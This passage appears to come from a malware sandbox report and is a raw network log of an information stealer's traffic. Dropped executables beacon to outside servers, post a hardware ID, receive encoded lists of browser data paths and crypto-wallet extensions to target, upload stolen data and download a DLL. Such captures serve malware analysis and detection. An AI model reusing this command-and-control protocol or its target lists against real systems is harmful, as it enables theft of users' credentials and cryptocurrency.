Nov 5, 2024 20:52:14.829626083 CET	1236	IN	Data Raw: b6 0d 93 37 23 a9 6f 9b 34 97 44 74 5f d1 87 cf c5 d2 0b 41 9a 9a e7 ef f5 95 1b e8 b4 a9 27 74 81 02 30 a1 63 24 38 49 cd 78 71 eb 77 84 26 39 fc 88 79 33 f0 ce 02 be 06 b8 96 25 d1 ce a9 53 c5 a1 e9 f3 a8 fa 2b 88 e4 31 79 77 b4 01 ee 7a 2c c2 Data Ascii: 7#o4Dt_A't0c$8Ixqw&9y3%S+1ywz,0VTr'm`,o4DhHi!0wXy?T9@y:KM!L0#sCg9$wM7<~n4T,xtboTLEfHW8)
Nov 5, 2024 20:52:14.834657907 CET	1236	IN	Data Raw: bd a7 7b a7 34 ed 22 e7 91 40 c2 3b ff 1c 50 81 3c 3a 61 b4 de df d0 3a e4 e0 6a 50 9c 52 f8 80 c0 47 4a 0b ed 96 af 99 52 9f 52 79 b3 bf e3 13 b7 3f b2 5e 91 78 89 3a a9 e3 6a 3f e4 e4 11 10 c3 27 41 4b af 5d 70 a9 70 f1 e1 12 02 48 7f 5f 02 3e Data Ascii: {4"@;P<:a:jPRGJRRy?^x:j?'AK]ppH_>q'uHvUM~5>`39jur/4Arh/Iw:lc$uc~QgfF9n/M5qk:0[HxbAWRUTJ4xz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50019	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:18.930851936 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 31 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004195001&unit=246122658369
Nov 5, 2024 20:52:19.836735010 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50020	185.215.113.206	80	7888	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:19.657516003 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 20:52:20.569349051 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 20:52:20.745115995 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJEBFCFIJJJEBGDBAKE Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 45 45 36 36 44 45 35 30 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 2d 2d 0d 0a Data Ascii: ------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="hwid"DCEE66DE5039786254513------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="build"tale------IIJEBFCFIJJJEBGDBAKE--
Nov 5, 2024 20:52:21.039869070 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 68 68 59 57 45 77 4e 44 42 68 4d 7a 51 34 59 7a 42 68 4d 44 4a 68 4f 54 56 6a 5a 6d 46 69 4e 6a 56 6d 4e 7a 59 34 59 57 4e 6c 4d 57 55 77 4d 57 49 32 4e 54 4d 79 4e 54 51 33 59 54 63 77 4e 6a 41 79 4e 54 5a 6d 59 57 55 30 4f 57 52 6d 4e 7a 4a 6c 4f 54 51 31 59 6d 49 32 59 57 55 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjhhYWEwNDBhMzQ4YzBhMDJhOTVjZmFiNjVmNzY4YWNlMWUwMWI2NTMyNTQ3YTcwNjAyNTZmYWU0OWRmNzJlOTQ1YmI2YWU4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 5, 2024 20:52:21.041877985 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEHCGIJECFIECBFIDGD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 2d 2d 0d 0a Data Ascii: ------IJEHCGIJECFIECBFIDGDContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------IJEHCGIJECFIECBFIDGDContent-Disposition: form-data; name="message"browsers------IJEHCGIJECFIECBFIDGD--
Nov 5, 2024 20:52:21.325829983 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Nov 5, 2024 20:52:21.325860977 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Nov 5, 2024 20:52:21.327496052 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFCFCGCGIEHIECAFCFI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 2d 2d 0d 0a Data Ascii: ------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="message"plugins------GCFCFCGCGIEHIECAFCFI--
Nov 5, 2024 20:52:21.615664005 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 5, 2024 20:52:21.615696907 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 5, 2024 20:52:21.615714073 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 5, 2024 20:52:21.615732908 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 5, 2024 20:52:21.615750074 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 5, 2024 20:52:21.615766048 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 5, 2024 20:52:21.618390083 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAKEHIIDGDAAKECBFB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="message"fplugins------BGDAKEHIIDGDAAKECBFB--
Nov 5, 2024 20:52:21.902893066 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 5, 2024 20:52:21.929721117 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBKKFBAEGDHJJJJKFBK Host: 185.215.113.206 Content-Length: 7535 Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 20:52:21.929812908 CET	7535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 Data Ascii: ------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 5, 2024 20:52:22.728318930 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 20:52:22.729080915 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 20:52:23.011163950 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 5, 2024 20:52:23.011181116 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
